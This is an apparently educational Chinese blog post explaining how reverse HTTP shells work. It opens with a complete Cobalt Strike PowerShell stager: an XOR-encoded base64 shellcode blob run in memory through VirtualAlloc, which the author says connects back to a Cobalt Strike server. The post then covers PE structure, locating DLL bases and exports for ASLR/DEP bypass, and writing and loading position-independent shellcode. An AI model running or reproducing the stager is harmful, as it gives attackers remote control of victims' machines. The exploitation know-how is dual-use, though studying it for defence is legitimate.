从reverse_http shell说起

时间:2020-04-28
本文章向大家介绍从reverse_http shell说起,主要包括从reverse_http shell说起使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

这次在用Cobalt Stike是http beacon时,突然好奇反向shell是怎么做的,做了一些整理,比较杂,把网络、windows PE结构、进程注入都回顾了一下。

0、引子

Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
    Param ($var_module, $var_procedure)        
    $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
    return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
        [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )

    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
    $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

    return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSBycktzIyMjcHNLdKq85dz2yFN4EvFxSyMhY6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pam4yyn4CIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMaGVUdyNc323oR9udnx3M2zn+7/mGdA539JWvTVlxsl9PeYwjIlYWLfstD4IWOp0KBeCirhijpZAI+TFjSR1uCEOQEiJroNn19Sp+f60mI3ZQRlEOYkRGTVcZA25MWUpPT0IMFg0TAwtATE5TQldKQU9GGANucGpmAxoNExgDdEpNR0xUUANtdwMVDRIYA3dRSkdGTVcMFg0TGANhbGpmGhhmcGZwCi4pIz/WnUIhDbRtSKO2oXYyd5rP9nzYw0Kr30uy942JNx4Q5q9HzfVWinwoi1zEv8zjkCWt62DQ+Ipg92IsC6aJo0ECD3hdS7O/y5KDTkquM8rSZYh20FPj0U2pz/P2gD4uN1wx8NGmX4S4lFekykoXm/9P8rc03oJfLw7GpcEyU6Krn3JSrDEzNk/JX31HwKxDT8Rm4PzlOavWQRoTeeyHH0BWNPqbbCOkv7lJqXN4YH8HrTvRNuMMwVhUHNrUBaz4PSXGETBCme6uGSKkSzWMZCmTrgjIEiNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG3PawmiMjIyMi+nJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcEhoRDRIVGw0RFxMNEhEaIzEXdVs=')

for ($x = 0; $x -lt $var_code.Count; $x++) {
    $var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@

If ([IntPtr]::size -eq 8) {
    start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
    IEX $DoIt
}

执行上面这段powershell,就会和cobalt strike server建立反向连接。有两个关键的地方:

1.  $var_code的内容是将要执行的恶意代码,它是一段shellcode,内部逻辑是什么? 

2. powershell是如何在当前进程中执行shellcode的,看着和GetDelegateForFunctionPointer,VirtualAlloc,Invoke有关?

一、Windows PE结构与编写shellcode

深入理解meterpreter原理

1.1  依据dll内某地址(如函数地址、对象虚表地址等)后,如何定位dll基址

Bypass ALSR

PE结构:

 

可以看到PE头部其实有很多偏移固定的值,比如MZ头、“DOS Mode”等等, 拿到vbscript中一个对象的虚表地址之后,即可向低地址遍历,寻找固定偏移的值,从而确定vbscript.dll的地址。

   

1.2.  依据当前dll基址, 如何获取系统dll基址? 

注:这一步常用于bypass ALSR

方法1. 根据导入表

Bypass ALSR

PE头的最后一部分是PE文件可选头,最后0x80大小的结构体成员就描述了dll的各种数据表信息

  

根据上述描述,我们能确定导入表RVA相对PE header的偏移为0x80,而导入表的内容则是多个大小为0x14字节的_IMAGE_IMPORT_DESCRIPTOR组成,每个_IMAGE_IMPORT_DESCRIPTOR 对应一个dll。

根据_IMAGE_IMPORT_DESCRIPTOR中的Name字段可轻松获取dll名字,根据OriginalFirstThunk和FirstThunk可获取导出函数名字及地址。得到dll内函数地址后,就能通过1.1的方法确定dll基址了。 

 以下调试过程即对应上述寻找思路

0:004> dd vbscript
6ae60000  00905a4d 00000003 00000004 0000ffff
6ae60010  000000b8 00000000 00000040 00000000
6ae60020  00000000 00000000 00000000 00000000
6ae60030  00000000 00000000 00000000 000000f0     偏移0x3c处,是PE头RVA
6ae60040  0eba1f0e cd09b400 4c01b821 685421cd
6ae60050  70207369 72676f72 63206d61 6f6e6e61
6ae60060  65622074 6e757220 206e6920 20534f44
6ae60070  65646f6d 0a0d0d2e 00000024 00000000
0:004> dd vbscript+000000f0
6ae600f0  00004550 0004014c 55b000b4 00000000
6ae60100  00000000 210200e0 000a010b 00056800
6ae60110  00010400 00000000 000013e5 00001000
6ae60120  00055000 6ae60000 00001000 00000200
6ae60130  00010006 00010006 00000006 00000000
6ae60140  0006a000 00000400 0007180f 01400002
6ae60150  00040000 00001000 00100000 00001000
6ae60160  00000000 00000010 000023fc 000000a5
0:004> dd 6ae600f0+0x80                           导入表地址
6ae60170  00056890 00000064 0005d000 00008870
6ae60180  00000000 00000000 00000000 00000000
6ae60190  00066000 000034f0 00057628 00000038
6ae601a0  00000000 00000000 00000000 00000000
6ae601b0  00000000 00000000 00038220 00000040
6ae601c0  00000000 00000000 00001000 00000330
6ae601d0  000565cc 00000080 00000000 00000000
6ae601e0  00000000 00000000 7865742e 00000074
0:004> dd vbscript+00056890                   
6aeb6890  0005692c 00000000 00000000 00056920
6aeb68a0  00001000 00056a38 00000000 00000000
6aeb68b0  00056910 0000110c 00056ad4 00000000
6aeb68c0  00000000 00056900 000011a8 00056bf8    导入表内容,每0x14个字节为一个_IMAGE_IMPORT_DESCRIPTOR结构
6aeb68d0  00000000 00000000 000568f4 000012cc
6aeb68e0  00000000 00000000 00000000 00000000
6aeb68f0  00000000 52455355 642e3233 90006c6c
6aeb6900  4e52454b 32334c45 6c6c642e 90909000
0:004> da vbscript+00056920      _IMAGE_IMPORT_DESCRIPTOR结构中偏移0x10是导入dll name的RVA
6aeb6920  "msvcrt.dll"  
0:004> dd vbscript+00001000       _IMAGE_IMPORT_DESCRIPTOR结构中偏移0x14指向IAT中导出函数
6ae61000  75f50d4d 75f4a5b8 75f4f95f 75f4ecf8
6ae61010  75f511e5 75f49ba1 75f4fab0 75f4ad52
6ae61020  75f4dbe0 75f5141b 75f4d9da 75f9e091
6ae61030  75f4f7fa 75f49e3a 75f50b89 75f4bfd9
6ae61040  75f4dbae 75f4f574 75f4e344 75f5012e
6ae61050  75f509e4 75f54b72 75fa6ea9 75f651da
6ae61060  75f4edef 75f4aa61 75f4c24b 75f49e5a
6ae61070  75f4b0c9 75f4fbab 75f4ff45 75f57551

方法2. 根据PEB中PEB_LDR_DATA里的 *OrderModuleList

[翻译]Windows平台下的Shellcode代码优化编写指引

PEB及LDR链

Flink、Blink所指向的LIST_ENTRY属于 _LDR_DATA_TABLE_ENTRY结构的一部分,_LDR_DATA_TABLE_ENTRY中的BaseDllName对应dll名称,DllBase对应dll基址,InInitializationOrderLinks与其DllBase相差0x08个字节。

不能保证所有版本Windows的 *OrderModuleList加载次序都一样,所以最好根据DLL名称(大写/小写)进行搜索。然而在一段Shellcode代码中,使用ASCII字符串或UNICODE字符串将使得Shellcode代码过于臃肿!

因此Shellcode常使用散列机制来比较DLL名称、函数名称,即传入要查询的dll名称散列值,在遍历*OrderModuleList时也会计算每个BaseDllName的散列,二者再比较。

1.3 依据系统dll基址,如何获取其导出函数地址

注:这一步常用于Leak VirturalProtect 地址,为bypass dep做准备。

导出表相对PE header的偏移为0x78,它的内部结构如下:

导出表0x28字节

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;    //未使用
    DWORD   TimeDateStamp;      //时间戳
    WORD    MajorVersion;       //未使用
    WORD    MinorVersion;       //未使用
    DWORD   Name;               //指向该导出表文件名字符串
    DWORD   Base;               //导出表的起始序号
    DWORD   NumberOfFunctions;  //导出函数的个数(更准确来说是AddressOfFunctions的元素数,而不是函数个数) 
    DWORD   NumberOfNames;      //以函数名字导出的函数个数
    DWORD   AddressOfFunctions;     //偏移0x1c, 导出函数地址表RVA:存储所有导出函数地址(表元素宽度为4,总大小NumberOfFunctions * 4)
    DWORD   AddressOfNames;         //偏移0x20, 导出函数名称表RVA:存储函数名字符串所在的地址(表元素宽度为4,总大小为NumberOfNames * 4)
    DWORD   AddressOfNameOrdinals;  //偏移0x24, 导出函数序号表RVA:存储函数序号(表元素宽度为2,总大小为NumberOfNames * 2)
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

地址表可能大于等于名字表,也有可能小于名字表,因为一个函数可能没有名字,也可能有多个名字。
但是一般情况下,名字表均不会大于地址表。并且一个函数必然有地址,不一定有名字,名字表和序号表一一对应。

重点关注_IMAGE_EXPORT_DIRECTORY 最后三个Address,它们的关系如下所示:


windbg调试过程如下:

  

 

上面三步过程结合起来,定位kernel32.dll和LoadLibrary()地址的过程如下图所示:

1.4 编写、加载shellcode

[翻译]Windows平台下的Shellcode代码优化编写指引

通过上面的原理,可以定位kernel32.dll地址、kerne32!LoadLibrary()、kernel32!GetProcAddress()的地址,也就可以加载其他dll及获取被加载dll的地址。

Shellcode 主要代码如下,详细请参考上述参考文章:

#pragma comment(linker, "/ENTRY:main")
  
#include "makestr.h"
#include "peb.h"
  
typedef HMODULE (WINAPI* _LoadLibraryA)(LPCSTR lpFileName);
typedef int (WINAPI* _MessageBoxA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
  
int main();
DWORD getDllByName(DWORD dllHash);
PVOID getFunctionAddr(DWORD dwModule, DWORD functionHash);
DWORD djbHash(char* str);
DWORD djbHashW(wchar_t* str);
  
int main() {
    DWORD hashKernel32 = 0x6DDB9555; // djbHashW(L"KERNEL32.DLL");
    DWORD hKernel32 = getDllByName(hashKernel32);  // 通过PLDR_DATA_TABLE_ENTRY获取kernel32.dll基址
    if (hKernel32 == 0) {
        return 1;
    }
  
    DWORD hashLoadLibraryA = 0x5FBFF0FB; // djbHash("LoadLibraryA");
    _LoadLibraryA xLoadLibraryA = getFunctionAddr(hKernel32, hashLoadLibraryA); // 通过kernel32.dll导出表定位LoadLibraryA()地址
    if (xLoadLibraryA == NULL) {
        return 1;
    }
  
    char szUser32[] = MAKESTR("user32.dll", 10);
    DWORD hUser32 = xLoadLibraryA(szUser32);        // LoadLibraryA("user32.dll"),以获取MessageBoxA()地址
    if (hUser32 == 0) {
        return 1;
    }
  
    DWORD hashMessageBoxA = 0x384F14B4; // djbHash("MessageBoxA");
    _MessageBoxA xMessageBoxA = getFunctionAddr(hUser32, hashMessageBoxA);  //获取MessageBoxA()地址
    if (xMessageBoxA == NULL) {
        return 1;
    }
  
    char szMessage[] = MAKESTR("Hello World", 11);
    char szTitle[] = MAKESTR(":)", 2);
    xMessageBoxA(0, szMessage, szTitle, MB_OK|MB_ICONINFORMATION);   // 调用MessageBoxA(),弹出"hello world"
  
    return 0;
}
  
inline PEB* getPeb() {
    __asm {
        mov eax, fs:[0x30];
    }
}
  
DWORD djbHash(char* str) {
    unsigned int hash = 5381;
    unsigned int i = 0;
  
    for (i = 0; str[i] != 0; i++) {
        hash = ((hash << 5) + hash) + str[i];
    }
  
    return hash;
}
DWORD djbHashW(wchar_t* str) {
    unsigned int hash = 5381;
    unsigned int i = 0;
  
    for (i = 0; str[i] != 0; i++) {
        hash = ((hash << 5) + hash) + str[i];
    }
  
    return hash;
}
  
DWORD getDllByName(DWORD dllHash) {
    PEB* peb = getPeb();
    PPEB_LDR_DATA Ldr = peb->Ldr;
    PLDR_DATA_TABLE_ENTRY moduleList = (PLDR_DATA_TABLE_ENTRY)Ldr->InLoadOrderModuleList.Flink;
  
    wchar_t* pBaseDllName = moduleList->BaseDllName.Buffer;
    wchar_t* pFirstDllName = moduleList->BaseDllName.Buffer;
  
    do {
        if (pBaseDllName != NULL) {
            if (djbHashW(pBaseDllName) == dllHash) {
                return (DWORD)moduleList->BaseAddress;
            }
        }
  
        moduleList = (PLDR_DATA_TABLE_ENTRY)moduleList->InLoadOrderModuleList.Flink;
        pBaseDllName = moduleList->BaseDllName.Buffer;
    } while (pBaseDllName != pFirstDllName);
  
    return 0;
}
  
PVOID getFunctionAddr(DWORD dwModule, DWORD functionHash) {
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)dwModule;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD)dosHeader + dosHeader->e_lfanew);
    PIMAGE_DATA_DIRECTORY dataDirectory = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    if (dataDirectory->VirtualAddress == 0) {
        return NULL;
    }
  
  
    PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dwModule + dataDirectory->VirtualAddress);
    PDWORD ardwNames = (PDWORD)(dwModule + exportDirectory->AddressOfNames);
    PWORD arwNameOrdinals = (PWORD)(dwModule + exportDirectory->AddressOfNameOrdinals);
    PDWORD ardwAddressFunctions = (PDWORD)(dwModule + exportDirectory->AddressOfFunctions);
    char* szName = 0;
    WORD wOrdinal = 0;
  
    for (unsigned int i = 0; i < exportDirectory->NumberOfNames; i++) {
        szName = (char*)(dwModule + ardwNames[i]);
  
        if (djbHash(szName) == functionHash) {
            wOrdinal = arwNameOrdinals[i];
            return (PVOID)(dwModule + ardwAddressFunctions[wOrdinal]);
        }
    }
  
    return NULL;
}

编译好,一个简单的反汇编器即可从文件中提取Shellcode代码,加载shellcode就是通过 VirtualAlloc() 分配一块内存,memcpy拷贝shellcode,再执行。这里就对应引子中第二个疑问,它是用.Net接口来调用这些Win32API来加载shellcode。

#include <Windows.h>
  
typedef void(__stdcall* _function)();
  
char shellcode[] = 
    "\x55\x8B\xEC\x83\xEC\x1C\x53\x56\x57\x64\xA1\x30\x00\x00\x00\x8B"
    "\x40\x0C\x8B\x50\x0C\x8B\x4A\x30\x8B\xD9\x85\xC9\x74\x29\x0F\xB7"
    "\x01\x33\xFF\xBE\x05\x15\x00\x00\x66\x85\xC0\x74\x1A\x6B\xF6\x21"
    "\x0F\xB7\xC0\x03\xF0\x47\x0F\xB7\x04\x79\x66\x85\xC0\x75\xEE\x81"
    "\xFE\x55\x95\xDB\x6D\x74\x17\x8B\x12\x8B\x4A\x30\x3B\xCB\x75\xCA"
    "\x33\xC9\x5F\x5E\x5B\x85\xC9\x75\x0A\x33\xC0\x40\xEB\x74\x8B\x4A"
    "\x18\xEB\xEF\xBA\xFB\xF0\xBF\x5F\xE8\x69\x00\x00\x00\x85\xC0\x74"
    "\xE8\x8D\x4D\xF0\xC7\x45\xF0\x75\x73\x65\x72\x51\xC7\x45\xF4\x33"
    "\x32\x2E\x64\x66\xC7\x45\xF8\x6C\x6C\xC6\x45\xFA\x00\xFF\xD0\x85"
    "\xC0\x74\xC6\xBA\xB4\x14\x4F\x38\x8B\xC8\xE8\x37\x00\x00\x00\x85"
    "\xC0\x74\xB6\x6A\x40\x8D\x4D\xFC\xC7\x45\xE4\x48\x65\x6C\x6C\x51"
    "\x8D\x4D\xE4\xC7\x45\xE8\x6F\x20\x57\x6F\x51\x6A\x00\xC7\x45\xEC"
    "\x72\x6C\x64\x00\x66\xC7\x45\xFC\x3A\x29\xC6\x45\xFE\x00\xFF\xD0"
    "\x33\xC0\x8B\xE5\x5D\xC3\x55\x8B\xEC\x83\xEC\x10\x8B\x41\x3C\x89"
    "\x55\xFC\x8B\x44\x08\x78\x85\xC0\x74\x56\x8B\x54\x08\x1C\x53\x8B"
    "\x5C\x08\x24\x03\xD1\x56\x8B\x74\x08\x20\x03\xD9\x8B\x44\x08\x18"
    "\x03\xF1\x89\x55\xF0\x33\xD2\x89\x75\xF4\x89\x45\xF8\x57\x85\xC0"
    "\x74\x29\x8B\x34\x96\xBF\x05\x15\x00\x00\x03\xF1\xEB\x09\x6B\xFF"
    "\x21\x0F\xBE\xC0\x03\xF8\x46\x8A\x06\x84\xC0\x75\xF1\x3B\x7D\xFC"
    "\x74\x12\x8B\x75\xF4\x42\x3B\x55\xF8\x72\xD7\x33\xC0\x5F\x5E\x5B"
    "\x8B\xE5\x5D\xC3\x0F\xB7\x04\x53\x8B\x55\xF0\x8B\x04\x82\x03\xC1"
    "\xEB\xEB";
  
int main() {
    char* payload = (char*) VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(payload, shellcode, sizeof(shellcode));
  
    _function function = (_function)payload;
    function();
  
    return 0;
}

二、基于socket建立反向shell

2.1  socket,tcp/ip,http

Understanding HTTP using sockets

 Socket叫套接字,介于传输层和应用层,大致驻留在 OSI 模型的会话层。它是一组编程接口(API), 它把TCP/IP层复杂的操作抽象为几个简单的接口如connect、send、receive,供应用层调用实现进程在网络中通信。

各种编程语言使用socket的方法类似,以python为例:

原文地址:https://www.cnblogs.com/ring-lcy/p/12794017.html